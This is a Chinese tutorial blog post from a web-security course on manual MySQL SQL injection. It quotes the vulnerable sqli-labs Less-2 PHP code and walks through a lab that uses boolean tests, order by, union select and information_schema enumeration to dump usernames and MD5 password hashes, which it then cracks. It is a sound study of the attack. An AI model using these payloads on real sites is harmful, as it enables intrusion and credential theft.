第12天:WEB漏洞-SQL注入之简要SQL注入

前言

在本系列课程学习中,SQL注入漏洞将是重点部分,其中SQL注入又非常复杂,区分各种数据库类型,提交方法,数据类型等注入,我们需要按部就班的学习,才能学会相关SQL注入的核心。同样此类漏洞是WEB安全中严重的安全漏洞,学习如何利用,挖掘,修复也是很重要的。
在这里插入图片描述

注:左边的比右边的难,学习顺序为从右向左

MYSQL注入导图

在这里插入图片描述
在这里插入图片描述

一、SQL注入产生的原因
  • 可控变量,带入数据库查询,变量未存在过滤或过滤不严谨。

例子:

在下面的代码中可以看到$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"
直接传递的变量id带入sql语句中执行没有做任何的限制,这样为恶意代码插入执行创造了条件。通过修改带入的代码执行的语句最终达到SQL注入获取敏感信息.

root@1f9ac3840241:/# cat /var/www/html/Less-2/index.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-2 **Error Based- Intiger**</title>
</head>

<body bgcolor="#000000">




<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">


<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);


// connectivity
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

        if($row)
        {
        echo "<font size='5' color= '#99FF00'>";
        echo 'Your Login name:'. $row['username'];
        echo "<br>";
        echo 'Your Password:' .$row['password'];
        echo "</font>";
        }
        else
        {
        echo '<font color= "#FFFF00">';
        print_r(mysql_error());
        echo "</font>";
        }
}
        else
                {
                echo "Please input the ID as parameter with numeric value";
                }

?>


</font> </div></br></br></br><center>
<img src="../images/Less-2.jpg" /></center>
</body>
</html>

http://127.0.0.1:8000/Less-2/index.php?id=2`

在这里插入图片描述

http://127.0.0.1:8000/Less-2/index.php?id=-2 union select 1,email_id,3 from emails

在这里插入图片描述

mysql> select * from users;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
+----+----------+------------+
13 rows in set (0.00 sec)

mysql> select * from emails;
+----+------------------------+
| id | email_id               |
+----+------------------------+
|  1 | Dumb@dhakkan.com       |
|  2 | Angel@iloveu.com       |
|  3 | Dummy@dhakkan.local    |
|  4 | secure@dhakkan.local   |
|  5 | stupid@dhakkan.local   |
|  6 | superman@dhakkan.local |
|  7 | batman@dhakkan.local   |
|  8 | admin@dhakkan.com      |
+----+------------------------+
8 rows in set (0.00 sec)

mysql> SELECT * FROM users WHERE id=-1 LIMIT 0,1;			#显示的结果为空、因为没有id=-1的字段
Empty set (0.00 sec)


mysql> SELECT * FROM users WHERE id=-1 union  select 1,email_id,3 from emails LIMIT 0,1;
+----+------------------+----------+
| id | username         | password |
+----+------------------+----------+
|  1 | Dumb@dhakkan.com | 3        |
+----+------------------+----------+
1 row in set (0.00 sec)

通过union后面加的select语句可以获取其他表的内容

二、判断网站是否有SQL注入

1、逻辑值

$x=1 and 1 = 1 页面正常
&x=1 and 1 = 2 页面异常
则可能存在注入点

测试题:参数x有注入,以下那个注入测试正确?

a. www.xiaodi8.com/news.php?y=1 and 1=1&x=2
b. www.xiaodi8.com/news.php?y=1&x=2 and 1=1
c. www .xiaodi8.com/news.php?y=1 and 1=1&x=2 and 1=1
d. www .xiaodi8.com/news.php?xx=1 and 1=1&xxx=2 and 1=1
答案:bc

2、order by

通过order by 判断注入的字段数

3、SQL注入必备知识点

数据库版本:version()
数据库名字:database()
数据库用户:user()
操作系统:@@version_compile_os
获取数据库存储数据路径:@@datadir
MYSQL获取安装路径:@@basedir

版本探针的意义

  • 在mysql5.0以后的版本存在一个information_schema数据库、里面存储记录数据库名、表名、列名的数据库
  • 相当于可以通过information_schema这个数据库获取到数据库下面的表名和列名。
information_schema.columnsinformation_schema下面所有的列名
information_schema.tablesinformation_schema下面的所有表名
information_schema.schematainformation_schema下面的所有数据库名
table_name表名
column_name列名
table_schema数据库名

4、MySQL数据库结构

数据库a=网站a=数据库用户a
表名 ​
列名
数据

数据库b=网站b=数据库用户b
表名
列名
数据

数据库c=网站c=数据库用户c
表名
列名
数据

作用:普通用户注入点只能操作自己网站的数据,root用户注入点,则可以操作到b网站和c网站。想要获取数据库的数据,就必须先依次获取数据库名、表名、列名,然后在获取数据。

三、【墨者】SQL手工注入漏洞测试(MySQL数据库)
1.判断是否存在SQL注入
url...?id=1 and 1=1
  • 网页正常
    在这里插入图片描述
url...?id=1 and 1=2
  • 网页异常,所以存在注入
    在这里插入图片描述
2.判断注入字段数(order by x 错误与正常的临界值)
url...?id=1 order by 1
...
url...?id=1 order by 5
  • 从order by 1 到 order by 4 网站页面都正常
    在这里插入图片描述

  • order by 5 网页显示异常,所以注入字段为4
    在这里插入图片描述

3.报错猜解(确定信息输出位置)
url...?id=1 and 1=2 union select 1,2,3,4

id=1 and 1=2 union select 1,2,3,4 为报错注入,id=1 and 1=2 为假不输出

  • 如图信息输出字段在 2 ,3
    在这里插入图片描述
4.信息收集(获取网页信息)
url...?id=1 and 1=2 union select 1,database(),version(),4
  • 数据库名 :mozhe_Discuz_StormGroup
  • 数据库版本 :5.7.22-0ubuntu0.16.04.1
    在这里插入图片描述
url...?id=1 and 1=2 union select 1,user(),@@version_compile_os,4
  • 数据库用户 :root@localhost
  • 操作系统 :Linux
    在这里插入图片描述
5.查询数据库(mozhe_Discuz_StormGrouP)中的表名信息
url...?id=1 and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

group_concat(table_name):查询所有表名

  • 如图表名为: StormGroup_member,notice
    在这里插入图片描述
5.查询表(StormGroup_member)的所有列信息信息
url...?id=1 and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'

group_concat(column_name):查询所有列名

  • 列信息:id,name,password,status
    在这里插入图片描述
6.获取用户名和密码
url...?id=1 and 1=2 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member

用户名和密码:

mozhe 92564594f9fde8bf091fbf97773c0626(MD5密文)
——>解密 973628 (答案)
mozhe 356f589a7df439f6f744ff19bb8092c0(MD5密文)
——>解密 dsan13 (诱饵)

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值